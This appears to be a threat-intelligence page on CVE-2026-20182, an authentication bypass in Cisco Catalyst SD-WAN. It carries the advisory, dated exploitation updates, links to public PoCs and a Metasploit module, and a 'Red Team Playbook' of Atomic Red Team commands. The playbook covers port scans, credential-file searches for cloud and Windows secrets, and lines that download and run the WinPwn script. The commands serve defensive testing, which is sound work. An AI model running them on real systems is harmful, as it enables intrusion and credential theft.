CVE-2026-20182

CRITICAL CISA KEV EXPLOIT POC TTE Zero-Day Pub 14/05 Upd 16/06

Overview

This vulnerability is an authentication bypass in the peering authentication mechanism of Cisco Catalyst SD-WAN Controller and Manager. The root cause lies in improper validation during the control connection handshaking process, allowing crafted requests to circumvent authentication checks. The affected component is the peering authentication feature responsible for establishing secure control connections within the SD-WAN fabric.

Vulnerability Description

May 2026: This security advisory provides the details and fix information for a vulnerability that was discovered and fixed after the was disclosed in February 2026. This new advisory is for a new vulnerability in the control connection handshaking. The section of this advisory includes Show Control Connections guidance to help with system checks.  A vulnerability in the peering authentication in Cisco Catalyst SD-WAN Controller, formerly SD-WAN vSmart, Cisco Catalyst SD-WAN Manager, formerly SD-WAN vManage, and Cisco Catalyst SD-WAN Validator, formerly SD-WAN vBond, could allow an unauthenticated, remote attacker to bypass authentication and obtain administrative privileges on an affected system. This vulnerability exists because the peering authentication mechanism in an affected system is not working properly. An attacker could exploit this vulnerability by sending crafted requests to the affected system. A successful exploit could allow the attacker to log in to an affected Cisco Catalyst SD-WAN Controller as an internal, high-privileged, non-root user account. Using this account, the attacker could access NETCONF, which would then allow the attacker to manipulate network configuration for the SD-WAN fabric.

Impact

An unauthenticated remote attacker can exploit this vulnerability without any user interaction or prior access, gaining administrative-level privileges on the affected SD-WAN Controller or Manager. This includes the ability to access and manipulate network configurations via NETCONF, potentially disrupting network operations or enabling further lateral movement within the environment. The attacker effectively gains control over critical SD-WAN fabric components, leading to significant operational and security risks for organizations relying on these systems.

Solution

Cisco has released patches addressing this vulnerability in Cisco Catalyst SD-WAN Manager and Controller as detailed in their security advisories (cisco-sa-sdwan-rpa2-v69WY2SW and cisco-sa-sdwan-rpa-EHchtZk). Administrators should apply the updates corresponding to their product versions as specified in these advisories. Detailed patch instructions and version information are available at Cisco’s official security advisory pages linked in the references.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

A critical vulnerability has been identified in the peering authentication mechanism of the Cisco Catalyst SD-WAN Controller and Cisco Catalyst SD-WAN Manager. This flaw arises from improper functioning of the authentication process, which allows an unauthenticated remote attacker to bypass security measures and gain administrative privileges on the affected systems. The vulnerability is particularly concerning due to its potential for exploitation through crafted requests, enabling attackers to log in as high-privileged non-root users. Once access is obtained, the attacker can leverage the NETCONF protocol to manipulate network configurations, posing significant risks to the integrity and availability of the SD-WAN fabric.

Attack vectors for this vulnerability are notably straightforward, as they rely on the ability of an attacker to send specially crafted requests to the affected devices. Given that the authentication mechanism is compromised, attackers do not need to possess valid credentials to gain access. This ease of exploitation can lead to various scenarios, including unauthorized configuration changes, data exfiltration, or even the deployment of malicious payloads within the network. The implications of such actions can be severe, potentially allowing attackers to disrupt services, compromise sensitive data, or establish persistent access for future attacks.

The real-world impact of this vulnerability is profound, particularly for organizations relying on Cisco's SD-WAN solutions for their network infrastructure. The ability for an attacker to gain administrative access can lead to widespread disruption, loss of data integrity, and significant financial repercussions. Businesses may face regulatory scrutiny, reputational damage, and operational downtime as a result of successful exploitation. Moreover, the high CVSS score indicates that this vulnerability poses an extreme risk, necessitating immediate attention from security teams to mitigate potential threats.

To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating and patching affected systems is crucial, as vendors typically release fixes to address known vulnerabilities. Additionally, organizations should employ robust monitoring solutions to detect unusual activity within their network, particularly focusing on authentication attempts and configuration changes. Implementing strict access controls and network segmentation can also help limit the potential impact of an exploit, ensuring that even if an attacker gains access, their ability to move laterally within the network is restricted.

In conclusion, the vulnerability in the peering authentication mechanism of Cisco's SD-WAN products presents a significant threat to network security. The ease of exploitation, coupled with the potential for severe consequences, underscores the importance of proactive security measures. Organizations must prioritize detection and mitigation strategies to safeguard their infrastructure against this and similar vulnerabilities, ensuring the resilience and integrity of their network environments.




CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2026-20182, highlighted by its recent inclusion in the CISA Known Exploited Vulnerabilities (KEV) catalog with a critical CVSS score of 10.0. This formal recognition underscores the vulnerability’s elevated risk posture and mandates expedited mitigation efforts by affected organizations. Our telemetry indicates emerging associations with the ransomware group Akira, signaling a potential shift toward more aggressive exploitation tactics that could leverage this flaw for initial access or lateral movement within compromised networks. Although no new exploit code has been publicly disclosed, the convergence of increased detection frequency, KEV listing, and ransomware linkage significantly raises the threat level. Defenders should interpret these developments as a clear indication that adversaries are actively targeting this vulnerability, thereby increasing the urgency for detection and containment capabilities within Cisco Catalyst SD-WAN environments.



Update 2 — May 22, 2026

CSURFACE threat intelligence has detected a marked escalation in exploitation activity targeting CVE-2026-20182, accompanied by the emergence of new publicly available proof-of-concept exploit code and a Metasploit module. This development significantly lowers the technical barrier for adversaries to exploit the authentication bypass vulnerability in Cisco Catalyst SD-WAN Controllers. Our telemetry indicates a substantial increase in exploitation attempts, correlating with the vulnerability’s recent inclusion in the Known Exploited Vulnerabilities (KEV) catalog and a high EPSS score, underscoring its growing attractiveness to threat actors. Although ransomware groups have not been definitively linked to this vulnerability, the presence of the Akira group in related intelligence suggests potential for future ransomware exploitation. The expanded exploit landscape and increased detection frequency elevate the threat level from high to critical, signaling that adversaries are rapidly operationalizing this vulnerability for persistent access and lateral movement within targeted networks.



Update 3 — June 07, 2026

CSURFACE threat intelligence has identified a marked escalation in exploitation activity targeting CVE-2026-20182, with telemetry indicating a substantial surge in detection frequency. This increase coincides with the emergence of new proof-of-concept exploits and the integration of a Metasploit module that automates the authentication bypass, significantly lowering the barrier for adversaries to achieve persistent access. The EPSS score has risen further, reflecting growing attacker interest and operationalization. Although ransomware groups have not yet been conclusively linked to active exploitation, the continued association with the Akira group and the vulnerability’s inclusion in the KEV catalog underscore its potential as a vector for future ransomware campaigns. For defenders, this development signals an urgent need to prioritize monitoring and response efforts, as threat actors are rapidly leveraging this vulnerability to gain footholds and maintain persistence within targeted SD-WAN environments. Consequently, the threat level has escalated to critical, emphasizing the heightened risk posed by increasingly sophisticated and accessible exploitation tools.

Affected Products (6)

Vendor Product Version CPE
cisco Cisco Catalyst Sd-Wan Manager All cpe:2.3:a:cisco:catalyst_sd-wan_manager:*:*:*:*:*:*:*:*
cisco Cisco Catalyst Sd-Wan Manager 20.12.7 cpe:2.3:a:cisco:catalyst_sd-wan_manager:20.12.7:*:*:*:*:*:*:*
cisco Cisco Sd-Wan Vbond Orchestrator All cpe:2.3:a:cisco:sd-wan_vbond_orchestrator:*:*:*:*:*:*:*:*
cisco Cisco Sd-Wan Vbond Orchestrator 20.12.7 cpe:2.3:a:cisco:sd-wan_vbond_orchestrator:20.12.7:*:*:*:*:*:*:*
cisco Cisco Sd-Wan Vsmart Controller All cpe:2.3:a:cisco:sd-wan_vsmart_controller:*:*:*:*:*:*:*:*
cisco Cisco Sd-Wan Vsmart Controller 20.12.7 cpe:2.3:a:cisco:sd-wan_vsmart_controller:20.12.7:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

Metasploit (1)

Module Authors Rank Platform Link
Cisco Catalyst SD-WAN Controller vHub Authentication Bypass
auxiliary/admin/networking/cisco_sdwan_vhub_auth_bypass
sfewer-r7, Crypto-Cat Unknown - View

GitHub PoCs (4)

Repository Author Stars Forks Date Link
portbuster1337/CVE-2026-20182
CVE-2026-20182 PoC - Cisco Catalyst SD-WAN Controller / Manager Authentication Bypass (CVSS 10.0)
portbuster1337 3 0 2026-05-22 View
Nxploited/CVE-2026-20182
Cisco Catalyst SD-WAN Peering Authentication Bypass
Nxploited 1 0 2026-05-26 View
HORKimhab/CVE-2026-20182
CVE-2026-20182
HORKimhab 0 0 2026-05-24 View
fangbarristerbar/CVE-2026-20182-POC
CVE-2026-20182 exp - higher success rate + persistence.
fangbarristerbar 0 0 2026-05-15 View
Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

25 events
2026-07-09
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-29
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-05
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-03
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-02
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-29
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-28
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-27
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-26
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-24
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-22
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-21
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-05-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-18
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-05-17
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-16
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-05-15
Threat Sensor Sighting — Considerable activity

Sighting activity recorded

2026-05-15
PoC Published (4 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2026-05-14
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-05-14
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2026-05-14
Exploited by akira

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)

2026-05-07
Exploit Published (0 ExploitDB, 1 Metasploit)

Public exploit code is available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Authentication Bypass
100% auth_bypass
Insecure Direct Object Reference
71% idor
hardcoded_credentials
39% hardcoded_credentials
Privilege Escalation
35% privilege_escalation

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-22 Exploiting Trust in Client
43%
High High
CAPEC-114 Authentication Abuse
33%
Medium
CAPEC-633 Token Impersonation
33%
Medium
CAPEC-593 Session Hijacking
33%
High Very High
CAPEC-650 Upload a Web Shell to a Web Server
33%
High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (4)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2026-20182
sec.cloudapps.cisco.com
GitHub CVE
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa2-v69WY2SW
sec.cloudapps.cisco.com
GitHub CVE
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa-EHchtZk
cisa.gov
NVD API
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-20182